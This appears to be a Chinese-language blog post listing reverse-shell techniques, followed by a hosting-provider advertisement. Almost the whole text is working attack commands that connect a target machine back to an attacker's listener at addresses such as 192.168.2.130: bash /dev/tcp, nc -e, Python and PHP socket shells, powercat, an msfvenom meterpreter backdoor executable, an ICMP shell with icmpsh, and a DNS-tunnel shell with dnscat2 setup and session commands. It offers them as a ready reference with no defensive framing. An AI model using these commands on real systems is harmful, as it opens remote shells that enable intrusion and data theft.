反弹shell有哪些

反弹shell有哪些

这篇文章将为大家详细讲解有关反弹shell有哪些，小编觉得挺实用的，因此分享给大家做个参考，希望大家阅读完这篇文章后可以有所收获。

1.bash反弹

bash -i >& /dev/tcp/ip_address/port 0>&1

2.nc反弹

nc -e /bin/sh 192.168.2.130 4444

3.python

import socket,subprocess,os  s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)  s.connect(( "192.168.2.130" , 4444 ))  os.dup2(s.fileno(), 0 )  os.dup2(s.fileno(), 1 )  os.dup2(s.fileno(), 2 )  p = subprocess.call([ "/bin/bash" , "-i" ])

4.powercat

Import-Module .powercat.ps1  powercat -c 192.168.2.130 -p 4444 -e cmd.exe

5.msf生成exe后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.130 LPORT=4444 -f exe > shell.exe

6.php反弹shell

php -r '$sock=fsockopen("192.168.2.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

7.ICMP

关闭icmp响应，不然shell一直跳，恢复是0    sysctl -w net.ipv4.icmp_echo_ignore_all=1    python icmpsh_m.py 源 目标  python icmpsh_m.py 192.168.2.137 192.168.2.135

在windows7运行：

icmpsh.exe -t 192.168.2.137

8.DNS

https://downloads.skullsecurity.org/dnscat2/

这里我们使用dnscat2，这里是下载的，分为windows和linux版本，服务端和客户端。

并且推荐使用vs2008编译

安装

git clone https://github.com/iagox86/dnscat2.git  cd dnscat2  cd server  sudo gem install bundler  bundle install  sudo ruby ./dnscat2.rb

kali

ruby dnscat2.rb --dns host=0.0.0.0,port=53531  ruby dnscat2.rb --dns server=23.105.193.106,port=533,type=TXT --secret=123456(密钥)  ruby dnscat2.rb xxx.com

windows7中:

./dnscat --dns server=192.168.2.130,port=53531  ./dnscat --dns server=192.168.2.130,port=53531 --secret=qwer1234(密钥)  ./dnscat xxx.com

连接成功后

查看记录

选择连接

使用shell

返回选择shell

执行命令

其他命令

quit （退出控制台）  kill <id> （中断通道）  set（设值，比如设置security=open）  windows（列举出所有的通道）  window -i <id>（连接某个通道）  连接通道后，使用help同样可以看到其内支持的命令（单个命令后跟-h也会解释该命令）：    clear（清屏）  delay（修改远程会话超时时间）  exec（执行远程机上的程序）  shell（得到一个反弹shell）  download/upload（两端之间上传下载文件）  supend（返回到上一层，等于快捷键ctrl+z）

DNS隧道转发

listen 127.0.0.1:6666 192.168.2.135:80  本机的6666就可以访问80端口

关于“反弹shell有哪些”这篇文章就分享到这里了，希望以上内容可以对大家有一定的帮助，使各位可以学到更多知识，如果觉得文章不错，请把它分享出去让更多的人看到。

[微信提示：高防服务器能助您降低 IT 成本，提升运维效率，使您更专注于核心业务创新。

[图文来源于网络，不代表本站立场，如有侵权，请联系高防服务器网删除]
[